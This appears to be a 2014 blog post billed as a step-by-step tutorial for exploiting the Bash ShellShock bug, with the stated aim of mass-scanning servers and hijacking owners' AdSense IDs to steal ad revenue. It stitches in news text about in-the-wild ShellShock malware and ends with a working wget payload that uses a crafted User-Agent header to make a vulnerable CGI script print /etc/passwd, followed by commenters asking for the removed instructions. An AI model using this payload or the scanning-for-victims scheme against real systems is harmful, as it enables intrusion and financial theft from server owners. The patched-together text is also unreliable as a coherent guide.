How to exploit and use the Bash ShellShock Bug in Mac OSX and Ubuntu Linux, Step by Step Tutorial

It's useful to know

 

In our example we will execute a simple script on the victim to change a victims Google AdSense Account ID to your ID so you can take his ad revenue.  Each victim seems to only average around $3-5 a day but you can quickly exploit several thousand victims which really adds up…  Time is of the essence however as more and more people patch there servers…

Step 1:

Find a victim, this is very easy with the proper tools.. In our example we will be using masscan

Go ahead and download the latest version from https://github.com/robertdavidgraham/masscan/archive/master.zip

***This tutorial assumes you know basic terminal usage and are running either Linux or Max OSX and have a build environment setup..

After extracting the archive open /src/proto-http.c with a text editor and insert the following code at line #24

Update: 25/09/14 ***Removed from site after complaints… Leave a comment if you want the link to the instructions 

 

The problem as I understand it is that while it’s okay to define a function in an environment variable, bash is not supposed to execute the code after it.

The extra “Content-type:” is only for illustration. It prevents the 500 error and shows the contents of the file.

The above example also shows how it’s not a problem of programming errors, even normally safe and harmless bash cgi which doesn’t even take user input can be exploited.

 

Within a day of the Bash bug dubbed ‘shellshock’ being disclosed, it appears that attackers are already looking for ways to use it for their advantage.

Security researchers have found proof of concept code that attempts to exploit the serious bug discovered this week in Bourne-Again Shell, also known as Bash, which according to US CERT affects both Linux and Mac OS X.

The good news yesterday that some Linux distributions shipped patches for the bug yesterday has already been tempered by the discovery that those patches only partially dealt with potential attacks. In an update overnight, Red Hat said that it was developing a new patch, however, it is still advising users to apply the incomplete one for now.

At the same time as security experts have been racing to develop fixes for the bug and patch systems, it appears hackers have been working on tools to attack vulnerable systems.

Security researcher Yinette yesterday reported discovering the first attack in the wild that exploits the bug, which has been officially documented as CVE-2014-6271.

Security researchers malwaremustdie.org have since analysed the malware, finding numerous functions including distributed denial of service (DDoS) IRC bot as well as a feature that attempts to guess passwords and logins on vulnerable servers, using a list of poor passwords such as ‘root’, ‘admin’, ‘user’, ‘login’, and ‘123456’.

AusCERT earlier yesterday also claimed to have received reports the bug was being exploited in the wild.

Meanwhile, security researcher Robert Graham claims to have found at least 3,000 systems vulnerable to the bug. However Graham’s scan only looked at systems on port 80; the researcher noted embedded webservers on odd ports are the real danger and a scan for these “would give a couple times more results”.

He also warned that DHCP services are also vulnerable, as reported in the initial advisory. “Consequently, even though my light scan found only 3,000 results, this thing is clearly wormable, and can easily worm past firewalls and infect lots of systems. One key question is whether Mac OS X and iPhone DHCP service is vulnerable — once the worm gets behind a firewall and runs a hostile DHCP server, that would “game over” for large networks.”

 

 

 

A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"

Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi

To break it down:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

Looks like:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd
Advertisements

6 Responses to “How to exploit and use the Bash ShellShock Bug in Mac OSX and Ubuntu Linux, Step by Step Tutorial”

  1. jaime Says:

    what happened to the link? 🙂

  2. Rape Sec Says:

    send me instructions

  3. naveenyannamani Says:

    send me the link please!

  4. naveenyannamani Says:

    Send me link plz!

  5. Robert Says:

    Link please

  6. Robert Says:

    Link?

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s


%d bloggers like this: